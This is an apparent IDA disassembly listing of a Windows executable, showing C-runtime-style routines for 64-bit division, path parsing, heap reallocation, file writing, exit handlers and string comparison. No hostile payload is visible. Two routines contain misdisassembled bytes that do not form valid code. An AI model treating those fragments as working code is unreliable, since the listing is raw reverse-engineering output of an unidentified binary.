		jz	short loc_417218
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_417221
; ---------------------------------------------------------------------------


loc_417218:				; CODE XREF: sub_417193+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_417221:				; CODE XREF: sub_417193+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	ds:dword_469518
		call	loc_41BD71
		add	esp, 20h
		test	eax, eax
		jz	short loc_4171F0
		cmp	eax, esi
		jnz	short loc_41724C
		movzx	eax, [ebp+var_4]
		jmp	short loc_417259
; ---------------------------------------------------------------------------


loc_41724C:				; CODE XREF: sub_417193+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_417259:				; CODE XREF: sub_417193+16j
					; sub_417193+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417193	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417260	proc near		; CODE XREF: sub_40AA1B+3Dp
					; sub_40C218+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_417281
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_4172D1
; ---------------------------------------------------------------------------


loc_417281:				; CODE XREF: sub_417260+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41728F:				; CODE XREF: sub_417260+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41728F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_4172BA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_4172BA
		jb	short loc_4172C2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_4172C2


loc_4172BA:				; CODE XREF: sub_417260+4Aj
					; sub_417260+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_4172C2:				; CODE XREF: sub_417260+52j
					; sub_417260+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_4172D1:				; CODE XREF: sub_417260+1Fj
		pop	ebx
		retn	10h
sub_417260	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4172E0	proc near		; CODE XREF: sub_40AA1B+24p
					; sub_40C218+3Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_417302
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_417343
; ---------------------------------------------------------------------------


loc_417302:				; CODE XREF: sub_4172E0+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_417310:				; CODE XREF: sub_4172E0+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_417310
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41733E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41733E
		jb	short loc_41733F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41733F


loc_41733E:				; CODE XREF: sub_4172E0+4Ej
					; sub_4172E0+54j
		dec	esi


loc_41733F:				; CODE XREF: sub_4172E0+56j
					; sub_4172E0+5Cj
		xor	edx, edx
		mov	eax, esi


loc_417343:				; CODE XREF: sub_4172E0+20j
		pop	esi
		pop	ebx
		retn	10h
sub_4172E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417348	proc near		; CODE XREF: sub_40AAD1+1E3p
					; seg000:00411E0Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_415CF0
		cmp	eax, 1
		pop	ecx
		jb	short loc_417383
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_417383
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41737F
		push	2
		push	ebx
		push	esi
		call	sub_41C3A0
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41737F:				; CODE XREF: sub_417348+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41738D
; ---------------------------------------------------------------------------


loc_417383:				; CODE XREF: sub_417348+18j
					; sub_417348+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41738D
		and	byte ptr [eax],	0


loc_41738D:				; CODE XREF: sub_417348+39j
					; sub_417348+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_417405


loc_4173A0:				; CODE XREF: sub_417348+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	ds:byte_46A9C1[edx], 4
		jz	short loc_4173B1
		inc	eax
		jmp	short loc_4173CB
; ---------------------------------------------------------------------------


loc_4173B1:				; CODE XREF: sub_417348+64j
		cmp	cl, 2Fh
		jz	short loc_4173C5
		cmp	cl, 5Ch
		jz	short loc_4173C5
		cmp	cl, 2Eh
		jnz	short loc_4173CB
		mov	[ebp+var_4], eax
		jmp	short loc_4173CB
; ---------------------------------------------------------------------------


loc_4173C5:				; CODE XREF: sub_417348+6Cj
					; sub_417348+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_4173CB:				; CODE XREF: sub_417348+67j
					; sub_417348+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4173A0
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_417405
		cmp	[ebp+arg_8], 0
		jz	short loc_417400
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_4173E9
		mov	edi, esi


loc_4173E9:				; CODE XREF: sub_417348+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_41C3A0
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_417400:				; CODE XREF: sub_417348+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41740F
; ---------------------------------------------------------------------------


loc_417405:				; CODE XREF: sub_417348+56j
					; sub_417348+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41740F
		and	byte ptr [ecx],	0


loc_41740F:				; CODE XREF: sub_417348+BBj
					; sub_417348+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_417462
		cmp	edi, ebx
		jb	short loc_417462
		cmp	[ebp+arg_C], 0
		jz	short loc_41743F
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_417428
		mov	edi, esi


loc_417428:				; CODE XREF: sub_417348+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41C3A0
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41743F:				; CODE XREF: sub_417348+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41748A
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41744F
		mov	esi, eax


loc_41744F:				; CODE XREF: sub_417348+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_41C3A0
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41748A
; ---------------------------------------------------------------------------


loc_417462:				; CODE XREF: sub_417348+CCj
					; sub_417348+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_417480
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_417471
		mov	esi, eax


loc_417471:				; CODE XREF: sub_417348+125j
		push	esi
		push	ebx
		push	edi
		call	sub_41C3A0
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_417480:				; CODE XREF: sub_417348+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41748A
		and	byte ptr [eax],	0


loc_41748A:				; CODE XREF: sub_417348+FCj
					; sub_417348+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417348	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41748F	proc near		; CODE XREF: sub_40B1E1+19p
					; sub_412D08+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_417D4C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4174CD
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4174DA
; ---------------------------------------------------------------------------


loc_4174CD:				; CODE XREF: sub_41748F+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_417C37
		pop	ecx
		pop	ecx


loc_4174DA:				; CODE XREF: sub_41748F+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41748F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4174DF	proc near		; CODE XREF: sub_40B459+2Ep
					; sub_4167D3+35p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		push	esi
		test	ebx, ebx
		push	edi
		jnz	short loc_4174FA
		push	[esp+10h+arg_4]
		call	sub_415DC9
		pop	ecx
		jmp	loc_4175FA
; ---------------------------------------------------------------------------


loc_4174FA:				; CODE XREF: sub_4174DF+Aj
		mov	esi, [esp+10h+arg_4]
		test	esi, esi
		jnz	short loc_417510
		push	ebx
		call	sub_415E3D
		pop	ecx


loc_417509:				; CODE XREF: sub_4174DF+114j
		xor	eax, eax
		jmp	loc_4175FA
; ---------------------------------------------------------------------------


loc_417510:				; CODE XREF: sub_4174DF+21j
					; sub_4174DF+10Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_4175DB
		push	ebx
		call	sub_418AFD
		mov	ebp, eax
		pop	ecx
		test	ebp, ebp
		jz	loc_4175B8
		cmp	esi, ds:dword_437F7C
		ja	short loc_417578
		push	esi
		push	ebx
		push	ebp
		call	sub_419308
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_417547
		mov	edi, ebx
		jmp	short loc_417570
; ---------------------------------------------------------------------------


loc_417547:				; CODE XREF: sub_4174DF+62j
		push	esi
		call	sub_418E53
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_417578
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41755E
		mov	eax, esi


loc_41755E:				; CODE XREF: sub_4174DF+7Bj
		push	eax
		push	ebx
		push	edi
		call	sub_4155D0
		push	ebx
		push	ebp
		call	sub_418B28
		add	esp, 14h


loc_417570:				; CODE XREF: sub_4174DF+66j
		test	edi, edi
		jnz	loc_4175F8


loc_417578:				; CODE XREF: sub_4174DF+53j
					; sub_4174DF+73j
		test	esi, esi
		jnz	short loc_41757F
		push	1
		pop	esi


loc_41757F:				; CODE XREF: sub_4174DF+9Bj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	ds:dword_46AAE0
		call	ds:dword_42114C	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_4175DB
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_4175A4
		mov	eax, esi


loc_4175A4:				; CODE XREF: sub_4174DF+C1j
		push	eax
		push	ebx
		push	edi
		call	sub_4155D0
		push	ebx
		push	ebp
		call	sub_418B28
		add	esp, 14h
		jmp	short loc_4175D7
; ---------------------------------------------------------------------------


loc_4175B8:				; CODE XREF: sub_4174DF+47j
		test	esi, esi
		jnz	short loc_4175BF
		push	1
		pop	esi


loc_4175BF:				; CODE XREF: sub_4174DF+DBj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	ebx
		push	0
		push	ds:dword_46AAE0
		call	ds:dword_421160	; RtlReAllocateHeap
		mov	edi, eax


loc_4175D7:				; CODE XREF: sub_4174DF+D7j
		test	edi, edi
		jnz	short loc_4175F8


loc_4175DB:				; CODE XREF: sub_4174DF+36j
					; sub_4174DF+B9j
		cmp	ds:dword_4694E4, 0
		jz	short loc_4175F8
		push	esi
		call	sub_418A68
		test	eax, eax
		pop	ecx
		jnz	loc_417510
		jmp	loc_417509
; ---------------------------------------------------------------------------


loc_4175F8:				; CODE XREF: sub_4174DF+93j
					; sub_4174DF+FAj ...
		mov	eax, edi


loc_4175FA:				; CODE XREF: sub_4174DF+16j
					; sub_4174DF+2Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4174DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175FF	proc near		; CODE XREF: seg000:0040BBDBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_417623
		xor	eax, eax
		jmp	loc_4176F0
; ---------------------------------------------------------------------------


loc_417623:				; CODE XREF: sub_4175FF+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_417636
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41763D
; ---------------------------------------------------------------------------


loc_417636:				; CODE XREF: sub_4175FF+2Dj
		mov	[ebp+arg_C], 1000h


loc_41763D:				; CODE XREF: sub_4175FF+35j
					; sub_4175FF+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_417671
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_417671
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_417657
		mov	edi, eax


loc_417657:				; CODE XREF: sub_4175FF+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_4155D0
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_4176B7
; ---------------------------------------------------------------------------


loc_417671:				; CODE XREF: sub_4175FF+47j
					; sub_4175FF+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4176BC
		test	ecx, ecx
		jz	short loc_417685
		push	esi
		call	sub_4186E4
		test	eax, eax
		pop	ecx
		jnz	short loc_4176FE


loc_417685:				; CODE XREF: sub_4175FF+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_417698
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41769A
; ---------------------------------------------------------------------------


loc_417698:				; CODE XREF: sub_4175FF+8Aj
		mov	edi, ebx


loc_41769A:				; CODE XREF: sub_4175FF+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41C42A
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4176F5
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_4176F5


loc_4176B7:				; CODE XREF: sub_4175FF+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_4176E5
; ---------------------------------------------------------------------------


loc_4176BC:				; CODE XREF: sub_4175FF+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_417C37
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4176FE
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_4176E5
		mov	[ebp+arg_C], 1


loc_4176E5:				; CODE XREF: sub_4175FF+BBj
					; sub_4175FF+DDj
		test	ebx, ebx
		jnz	loc_41763D
		mov	eax, [ebp+arg_8]


loc_4176F0:				; CODE XREF: sub_4175FF+1Fj
					; sub_4175FF+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4176F5:				; CODE XREF: sub_4175FF+ADj
					; sub_4175FF+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_417700
; ---------------------------------------------------------------------------


loc_4176FE:				; CODE XREF: sub_4175FF+84j
					; sub_4175FF+CFj
		mov	eax, edi


loc_417700:				; CODE XREF: sub_4175FF+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_4176F0
sub_4175FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_417709	proc near		; CODE XREF: sub_40C1FE+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	ds:dword_421094	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_417729
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		call	sub_41C5D7
		pop	ecx


loc_417725:				; CODE XREF: sub_417709+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_417729:				; CODE XREF: sub_417709+Dj
		test	al, 1
		jz	short loc_41774A
		test	[esp+arg_4], 2
		jz	short loc_41774A
		mov	ds:dword_469484, 0Dh
		mov	ds:dword_469488, 5
		jmp	short loc_417725
; ---------------------------------------------------------------------------


loc_41774A:				; CODE XREF: sub_417709+22j
					; sub_417709+29j
		xor	eax, eax
		retn
sub_417709	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417750	proc near		; CODE XREF: sub_40C328+5Fp
					; sub_40C328+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_417771
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_417771:				; CODE XREF: sub_417750+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41778D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41778D:				; CODE XREF: sub_417750+27j
		or	eax, eax
		jnz	short loc_4177A9
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4177EA
; ---------------------------------------------------------------------------


loc_4177A9:				; CODE XREF: sub_417750+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_4177B7:				; CODE XREF: sub_417750+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_4177B7
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4177E5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_4177E5
		jb	short loc_4177E6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_4177E6


loc_4177E5:				; CODE XREF: sub_417750+85j
					; sub_417750+8Bj
		dec	esi


loc_4177E6:				; CODE XREF: sub_417750+8Dj
					; sub_417750+93j
		xor	edx, edx
		mov	eax, esi


loc_4177EA:				; CODE XREF: sub_417750+57j
					; sub_417849+1Cj
		dec	edi
		jnz	short loc_4177F4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_4177F4:				; CODE XREF: sub_417750+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_417750	endp


; =============== S U B	R O U T	I N E =======================================



sub_4177FA	proc near		; CODE XREF: seg000:00417B8Bp
		mov	eax, ds:off_437D2C
		test	eax, eax
		jz	short loc_417805
		call	eax ; sub_415F3B


loc_417805:				; CODE XREF: sub_4177FA+7j
		push	offset dword_423028
		push	offset dword_423014
		call	sub_4178E2
		push	offset dword_423010
		push	offset dword_423000
		call	sub_4178E2
		add	esp, 10h
		retn
sub_4177FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_417827	proc near		; CODE XREF: seg000:00417BCAp

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_417849
		add	esp, 0Ch
		retn
sub_417827	endp


; =============== S U B	R O U T	I N E =======================================



sub_417838	proc near		; CODE XREF: seg000:00417BE9p
					; sub_417BEE+1Cp ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_417849
		add	esp, 0Ch
		retn
sub_417838	endp


; =============== S U B	R O U T	I N E =======================================



sub_417849	proc near		; CODE XREF: sub_417827+8p
					; sub_417838+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		push	1
		pop	edi
		cmp	ds:dword_4694CC, edi
		jnz	short near ptr loc_417865+1
		push	[esp+4+arg_0]
		call	near ptr 0A80000h
		cmp	edx, [eax-18h]
		wait
		xchg	esp, [esi+0]


loc_417865:				; CODE XREF: sub_417849+Aj
		jns	short loc_4177EA
		jl	short loc_41788D
		or	al, 0
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		mov	ds:dword_4694C8, edi
		mov	ds:byte_4694C4,	bl
		jnz	short loc_4178BA
		mov	eax, ds:dword_46AAF4
		test	eax, eax
		jz	short loc_4178A9
		mov	ecx, ds:dword_46AAF0


loc_41788D:				; CODE XREF: sub_417849+1Ej
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_4178A8


loc_417895:				; CODE XREF: sub_417849+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41789D
		call	eax


loc_41789D:				; CODE XREF: sub_417849+50j
		sub	esi, 4
		cmp	esi, ds:dword_46AAF4
		jnb	short loc_417895


loc_4178A8:				; CODE XREF: sub_417849+4Aj
		pop	esi


loc_4178A9:				; CODE XREF: sub_417849+3Cj
		push	offset dword_423034
		push	offset dword_42302C
		call	sub_4178E2
		pop	ecx
		pop	ecx


loc_4178BA:				; CODE XREF: sub_417849+33j
		push	offset dword_423040
		push	offset dword_423038
		call	sub_4178E2
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_4178E0
		push	dword ptr [esp+8]
		mov	ds:dword_4694CC, edi
		call	ds:dword_421114	; ExitProcess


loc_4178E0:				; CODE XREF: sub_417849+85j
		pop	edi
		retn
sub_417849	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4178E2	proc near		; CODE XREF: sub_4177FA+15p
					; sub_4177FA+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_4178E7:				; CODE XREF: sub_4178E2+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_4178FA
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4178F5
		call	eax


loc_4178F5:				; CODE XREF: sub_4178E2+Fj
		add	esi, 4
		jmp	short loc_4178E7
; ---------------------------------------------------------------------------


loc_4178FA:				; CODE XREF: sub_4178E2+9j
		pop	esi
		retn
sub_4178E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4178FC	proc near		; CODE XREF: seg000:0040F8FFp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	near ptr 0A80000h
		xor	[ebp-0F78A40h],	eax
		adc	eax, offset dword_421088
		jmp	short loc_417914
; ---------------------------------------------------------------------------
		xor	eax, eax


loc_417914:				; CODE XREF: sub_4178FC+14j
		test	eax, eax
		jz	short loc_417923
		push	eax
		call	sub_41C5D7
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_417923:				; CODE XREF: sub_4178FC+1Aj
		xor	eax, eax
		retn
sub_4178FC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417930	proc near		; CODE XREF: sub_412B62+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41797C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41797D
		test	eax, 1
		jz	short loc_41795D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_4179AA
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41797A


loc_41795D:				; CODE XREF: sub_417930+20j
					; sub_417930+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_4179AA
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_4179AA
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41795D


loc_41797A:				; CODE XREF: sub_417930+2Bj
					; sub_417930+84j
		pop	edi
		pop	esi

locret_41797C:				; CODE XREF: sub_417930+6j
		retn
; ---------------------------------------------------------------------------


loc_41797D:				; CODE XREF: sub_417930+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_4179B2
		repe cmpsd
		jz	short loc_4179B2
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_4179A5
		cmp	ch, dh
		jnz	short loc_4179A5
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_4179A5
		cmp	ch, dh


loc_4179A5:				; CODE XREF: sub_417930+63j
					; sub_417930+67j ...
		mov	eax, 0


loc_4179AA:				; CODE XREF: sub_417930+26j
					; sub_417930+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4179B2:				; CODE XREF: sub_417930+55j
					; sub_417930+59j
		test	eax, eax
		jz	short loc_41797A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_4179A5
		dec	eax
		jz	short loc_4179D9
		cmp	dh, ch
		jnz	short loc_4179A5
		dec	eax
		jz	short loc_4179D9
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_4179A5
		dec	eax


loc_4179D9:				; CODE XREF: sub_417930+8Fj
					; sub_417930+96j
		pop	edi
		pop	esi
		retn
sub_417930	endp


; =============== S U B	R O U T	I N E =======================================



sub_4179DC	proc near		; CODE XREF: sub_413CAB+55p
					; sub_4146BC+236p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_4179F3


loc_4179E9:				; CODE XREF: sub_4179DC+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_4179E9


loc_4179F3:				; CODE XREF: sub_4179DC+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_4179DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4179F9	proc near		; CODE XREF: sub_413CAB+19p
					; sub_413CAB+49p

arg_0		= dword	ptr  8
